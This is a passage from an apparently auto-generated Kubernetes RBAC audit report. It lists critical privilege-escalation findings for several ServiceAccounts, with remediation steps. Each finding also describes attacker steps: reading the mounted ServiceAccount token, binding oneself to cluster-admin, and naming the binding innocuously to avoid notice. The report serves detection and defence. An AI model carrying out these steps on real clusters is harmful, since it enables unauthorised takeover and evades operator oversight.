  3. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing cluster-admin/admin/system:masters outside a tiny admin allowlist.
  4. Verify with kubectl auth can-i bind clusterroles --as=cutres-detour -A and kubectl auth can-i escalate roles --as=cutres-detour -A both returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesclusterroles
clusterroles: Cluster-scoped RBAC rules
Verbsbind
bind: Bind any role to any subject
Source rolecutres-detour-bind
Inspect: kubectl get clusterrole cutres-detour-bind -o yaml
Source bindingcutres-detour-bind
Inspect: kubectl get clusterrolebinding cutres-detour-bind -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "clusterroles"
  ],
  "scope": "cluster",
  "source_binding": "cutres-detour-bind",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cutres-detour-bind",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "bind"
  ]
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-binder Cluster 10.0
Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/deepchain-tenant/deepchain-binder)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-binder Resource: RBACRule/deepchain-binder-bind

Subject ServiceAccount/deepchain-tenant/deepchain-binder has the bind or escalate verb on roles/clusterroles via ClusterRoleBinding deepchain-binder-bind → ClusterRole deepchain-binder-bind. Cluster-wide: applies to every current and future namespace.

Kubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The escalate and bind verbs are explicit, documented exceptions to that guard.

escalate lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.

bind lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With bind on clusterroles, an attacker creates a ClusterRoleBinding from themselves to cluster-admin and is done in one step.

Impact Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC bind/escalate bypass

RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

  1. Attacker confirms the verb with kubectl auth can-i bind clusterroles --as=deepchain-binder -A.
  2. They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the cluster-admin ClusterRole and kubectl apply it.
  3. They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.
  4. Alternatively, with escalate on clusterroles, they kubectl edit clusterrole/<role-they-already-have> and add * verbs/resources/apiGroups, retaining the same binding.
  5. They optionally name the new ClusterRoleBinding innocuously (e.g. cluster-monitor-binding) so the change is less visible to operators reviewing kubectl get clusterrolebindings.
Remediation
Remove bind and escalate from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to cluster-admin or system roles.
  1. Audit every Role/ClusterRole that includes bind or escalate with kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN("bind","escalate"))'.
  2. Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope bind with resourceNames to a list of low-privilege ClusterRoles.
  3. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing cluster-admin/admin/system:masters outside a tiny admin allowlist.
  4. Verify with kubectl auth can-i bind clusterroles --as=deepchain-binder -A and kubectl auth can-i escalate roles --as=deepchain-binder -A both returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesclusterroles
clusterroles: Cluster-scoped RBAC rules
Verbsbind
bind: Bind any role to any subject
Source roledeepchain-binder-bind
Inspect: kubectl get clusterrole deepchain-binder-bind -o yaml
Source bindingdeepchain-binder-bind
Inspect: kubectl get clusterrolebinding deepchain-binder-bind -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "clusterroles"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-binder-bind",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "deepchain-binder-bind",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "bind"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-bind-escalate Cluster 10.0
Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-bind-escalate)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-bind-escalate Resource: RBACRule/cr-bind-escalate

Subject ServiceAccount/rbac-fixtures/sa-bind-escalate has the bind or escalate verb on roles/clusterroles via ClusterRoleBinding crb-bind-escalate → ClusterRole cr-bind-escalate. Cluster-wide: applies to every current and future namespace.

Kubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The escalate and bind verbs are explicit, documented exceptions to that guard.

escalate lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.

bind lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With bind on clusterroles, an attacker creates a ClusterRoleBinding from themselves to cluster-admin and is done in one step.

Impact Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC bind/escalate bypass

RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

  1. Attacker confirms the verb with kubectl auth can-i bind clusterroles --as=sa-bind-escalate -A.
  2. They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the cluster-admin ClusterRole and kubectl apply it.
  3. They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.
  4. Alternatively, with escalate on clusterroles, they kubectl edit clusterrole/<role-they-already-have> and add * verbs/resources/apiGroups, retaining the same binding.
  5. They optionally name the new ClusterRoleBinding innocuously (e.g. cluster-monitor-binding) so the change is less visible to operators reviewing kubectl get clusterrolebindings.
Remediation
Remove bind and escalate from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to cluster-admin or system roles.
  1. Audit every Role/ClusterRole that includes bind or escalate with kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN("bind","escalate"))'.
  2. Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope bind with resourceNames to a list of low-privilege ClusterRoles.
  3. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing cluster-admin/admin/system:masters outside a tiny admin allowlist.
  4. Verify with kubectl auth can-i bind clusterroles --as=sa-bind-escalate -A and kubectl auth can-i escalate roles --as=sa-bind-escalate -A both returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolesclusterroles
roles: Namespace-scoped RBAC rules
clusterroles: Cluster-scoped RBAC rules
Verbsbindescalate
bind: Bind any role to any subject
escalate: Grant rules beyond the caller's own permissions
Source rolecr-bind-escalate
Inspect: kubectl get clusterrole cr-bind-escalate -o yaml
Source bindingcrb-bind-escalate
Inspect: kubectl get clusterrolebinding crb-bind-escalate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "roles",
    "clusterroles"
  ],
  "scope": "cluster",
  "source_binding": "crb-bind-escalate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-bind-escalate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "bind",
    "escalate"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Cluster 10.0
Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Resource: RBACRule/cr-rolebinding-mutate

Subject ServiceAccount/rbac-fixtures/sa-rolebinding-mutate has the bind or escalate verb on roles/clusterroles via ClusterRoleBinding crb-rolebinding-mutate → ClusterRole cr-rolebinding-mutate. Cluster-wide: applies to every current and future namespace.

Kubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The escalate and bind verbs are explicit, documented exceptions to that guard.

escalate lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.

bind lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With bind on clusterroles, an attacker creates a ClusterRoleBinding from themselves to cluster-admin and is done in one step.

Impact Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC bind/escalate bypass

RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

  1. Attacker confirms the verb with kubectl auth can-i bind clusterroles --as=sa-rolebinding-mutate -A.
  2. They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the cluster-admin ClusterRole and kubectl apply it.
  3. They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.
  4. Alternatively, with escalate on clusterroles, they kubectl edit clusterrole/<role-they-already-have> and add * verbs/resources/apiGroups, retaining the same binding.
  5. They optionally name the new ClusterRoleBinding innocuously (e.g. cluster-monitor-binding) so the change is less visible to operators reviewing kubectl get clusterrolebindings.
Remediation
Remove bind and escalate from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to cluster-admin or system roles.
  1. Audit every Role/ClusterRole that includes bind or escalate with kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN("bind","escalate"))'.
  2. Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope bind with resourceNames to a list of low-privilege ClusterRoles.
  3. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing cluster-admin/admin/system:masters outside a tiny admin allowlist.
  4. Verify with kubectl auth can-i bind clusterroles --as=sa-rolebinding-mutate -A and kubectl auth can-i escalate roles --as=sa-rolebinding-mutate -A both returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolesclusterroles
roles: Namespace-scoped RBAC rules
clusterroles: Cluster-scoped RBAC rules
Verbsbind
bind: Bind any role to any subject
Source rolecr-rolebinding-mutate
Inspect: kubectl get clusterrole cr-rolebinding-mutate -o yaml
Source bindingcrb-rolebinding-mutate
Inspect: kubectl get clusterrolebinding crb-rolebinding-mutate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "roles",
    "clusterroles"
  ],
  "scope": "cluster",
  "source_binding": "crb-rolebinding-mutate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-rolebinding-mutate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "bind"
  ]
}
CRITICAL ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Cluster 10.0
Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Resource: RBACRule/cr-ns-rolebinding-mutate-bind

Subject ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate has the bind or escalate verb on roles/clusterroles via ClusterRoleBinding crb-ns-rolebinding-mutate-bind → ClusterRole cr-ns-rolebinding-mutate-bind. Cluster-wide: applies to every current and future namespace.

Kubernetes' RBAC normally enforces a privilege-escalation guard: you cannot create a Role/RoleBinding granting permissions you do not already hold. The escalate and bind verbs are explicit, documented exceptions to that guard.

escalate lets the subject author or modify a Role/ClusterRole with verbs and resources they don't currently possess. In practice, they rewrite an existing Role they're already bound to and instantly inherit whatever they wrote into it.

bind lets the subject create a RoleBinding/ClusterRoleBinding referencing a (Cluster)Role they don't already hold. With bind on clusterroles, an attacker creates a ClusterRoleBinding from themselves to cluster-admin and is done in one step.

Impact Defeat the API-level escalation guard in Cluster-wide; subject can grant itself any (Cluster)Role's permissions, including cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRBAC bind/escalate bypass

RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

  1. Attacker confirms the verb with kubectl auth can-i bind clusterroles --as=sa-ns-rolebinding-mutate -A.
  2. They write a one-line ClusterRoleBinding from their identity (or a SA they control) to the cluster-admin ClusterRole and kubectl apply it.
  3. They re-use the same token (ClusterRoleBindings take effect immediately on next request) and have full cluster control.
  4. Alternatively, with escalate on clusterroles, they kubectl edit clusterrole/<role-they-already-have> and add * verbs/resources/apiGroups, retaining the same binding.
  5. They optionally name the new ClusterRoleBinding innocuously (e.g. cluster-monitor-binding) so the change is less visible to operators reviewing kubectl get clusterrolebindings.
Remediation
Remove bind and escalate from non-admin identities; gate any legitimate need behind admission policy that rejects bindings to cluster-admin or system roles.
  1. Audit every Role/ClusterRole that includes bind or escalate with kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.verbs[]? | IN("bind","escalate"))'.
  2. Remove the verbs from this Role/ClusterRole. If operators legitimately need them (Argo CD, Crossplane, OperatorHub), scope bind with resourceNames to a list of low-privilege ClusterRoles.
  3. Add a ValidatingAdmissionPolicy (or Kyverno) that rejects creation of any ClusterRoleBinding referencing cluster-admin/admin/system:masters outside a tiny admin allowlist.
  4. Verify with kubectl auth can-i bind clusterroles --as=sa-ns-rolebinding-mutate -A and kubectl auth can-i escalate roles --as=sa-ns-rolebinding-mutate -A both returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesclusterroles
clusterroles: Cluster-scoped RBAC rules
Verbsbind
bind: Bind any role to any subject
Source rolecr-ns-rolebinding-mutate-bind
Inspect: kubectl get clusterrole cr-ns-rolebinding-mutate-bind -o yaml
Source bindingcrb-ns-rolebinding-mutate-bind
Inspect: kubectl get clusterrolebinding crb-ns-rolebinding-mutate-bind -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "clusterroles"
  ],
  "scope": "cluster",
  "source_binding": "crb-ns-rolebinding-mutate-bind",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-ns-rolebinding-mutate-bind",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "bind"
  ]
}
CRITICAL

Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path

KUBE-PRIVESC-010 4 subjects Score 10.0
MITRE ATT&CK: T1098T1078.004T1548

Affected subjects (4)

CRITICAL ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Cluster 10.0
Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Resource: RBACRule/cr-rolebinding-mutate

Subject ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can create/update/patch rolebindings/clusterrolebindings via ClusterRoleBinding crb-rolebinding-mutate → ClusterRole cr-rolebinding-mutate. Cluster-wide: applies to every current and future namespace.

RoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like view/edit), they can re-bind it to backup identities for persistence.

A RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so create rolebindings in kube-system is effectively cluster-admin-on-kube-system. Combined with bind on clusterroles (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the Cluster-admin binding technique.

Impact Self-grant any role the subject already holds (or any ClusterRole, when paired with bind or when binding into namespaces); cluster-wide writes are one step from cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRoleBinding write access plus bind

create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

  1. Attacker enumerates what they can already bind with kubectl auth can-i create clusterrolebindings --as=sa-rolebinding-mutate -A and kubectl auth can-i --list --as=sa-rolebinding-mutate -A.
  2. If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.
  3. With bind on cluster-admin (often via wildcards), they create a ClusterRoleBinding from themselves to cluster-admin.
  4. Even without bind, in kube-system they create a RoleBinding referencing system:controller:clusterrole-aggregation-controller (which has escalate baked in) and pivot from there.
  5. They name the binding innocuously (e.g. monitoring-readonly) so audit logs look benign.
Remediation
Restrict create/update/patch on rolebindings/clusterrolebindings to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.
  1. Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.
  2. Remove the verbs entirely from this Role/ClusterRole, or scope them with resourceNames to a fixed list of binding names that the workload owns.
  3. Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.
  4. Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (cluster-admin, admin, anything matching *system:*) outside an approved admin allowlist.
  5. Verify with kubectl auth can-i create clusterrolebindings --as=sa-rolebinding-mutate -A returning no.
Evidence
ScopeCluster
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolebindingsclusterrolebindings
rolebindings: Namespace-scoped RBAC grants
clusterrolebindings: Cluster-scoped RBAC grants
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-rolebinding-mutate
Inspect: kubectl get clusterrole cr-rolebinding-mutate -o yaml
Source bindingcrb-rolebinding-mutate
Inspect: kubectl get clusterrolebinding crb-rolebinding-mutate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "rolebindings",
    "clusterrolebindings"
  ],
  "scope": "cluster",
  "source_binding": "crb-rolebinding-mutate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-rolebinding-mutate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-detour Namespace 10.0
Namespace cutres only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/cutres/cutres-detour)
Scope · Namespace Namespace cutres only
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cutres/cutres-detour-binder

Subject ServiceAccount/cutres/cutres-detour can create/update/patch rolebindings/clusterrolebindings via RoleBinding cutres/cutres-detour-binder → Role cutres/cutres-detour-binder. Namespace cutres only.

RoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like view/edit), they can re-bind it to backup identities for persistence.

A RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so create rolebindings in kube-system is effectively cluster-admin-on-kube-system. Combined with bind on clusterroles (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the Cluster-admin binding technique.

Impact Self-grant any role the subject already holds (or any ClusterRole, when paired with bind or when binding into namespaces); cluster-wide writes are one step from cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRoleBinding write access plus bind

create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

  1. Attacker enumerates what they can already bind with kubectl auth can-i create clusterrolebindings --as=cutres-detour -n cutres and kubectl auth can-i --list --as=cutres-detour -n cutres.
  2. If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.
  3. With bind on cluster-admin (often via wildcards), they create a ClusterRoleBinding from themselves to cluster-admin.
  4. Even without bind, in kube-system they create a RoleBinding referencing system:controller:clusterrole-aggregation-controller (which has escalate baked in) and pivot from there.
  5. They name the binding innocuously (e.g. monitoring-readonly) so audit logs look benign.
Remediation
Restrict create/update/patch on rolebindings/clusterrolebindings to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.
  1. Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.
  2. Remove the verbs entirely from this Role/ClusterRole, or scope them with resourceNames to a fixed list of binding names that the workload owns.
  3. Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.
  4. Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (cluster-admin, admin, anything matching *system:*) outside an approved admin allowlist.
  5. Verify with kubectl auth can-i create clusterrolebindings --as=cutres-detour -n cutres returning no.
Evidence
ScopeNamespace
Namespacecutres
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolebindings
rolebindings: Namespace-scoped RBAC grants
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecutres-detour-binder
Inspect: kubectl get role cutres-detour-binder -n cutres -o yaml
Source bindingcutres-detour-binder
Inspect: kubectl get rolebinding cutres-detour-binder -n cutres -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "cutres",
  "resource_names": null,
  "resources": [
    "rolebindings"
  ],
  "scope": "namespace",
  "source_binding": "cutres-detour-binder",
  "source_binding_kind": "RoleBinding",
  "source_role": "cutres-detour-binder",
  "source_role_kind": "Role",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-binder Namespace 10.0
Namespace deepchain-tenant only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/deepchain-tenant/deepchain-binder)
Scope · Namespace Namespace deepchain-tenant only
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-binder Resource: RBACRule/deepchain-tenant/deepchain-binder

Subject ServiceAccount/deepchain-tenant/deepchain-binder can create/update/patch rolebindings/clusterrolebindings via RoleBinding deepchain-tenant/deepchain-binder → Role deepchain-tenant/deepchain-binder. Namespace deepchain-tenant only.

RoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like view/edit), they can re-bind it to backup identities for persistence.

A RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so create rolebindings in kube-system is effectively cluster-admin-on-kube-system. Combined with bind on clusterroles (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the Cluster-admin binding technique.

Impact Self-grant any role the subject already holds (or any ClusterRole, when paired with bind or when binding into namespaces); cluster-wide writes are one step from cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRoleBinding write access plus bind

create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

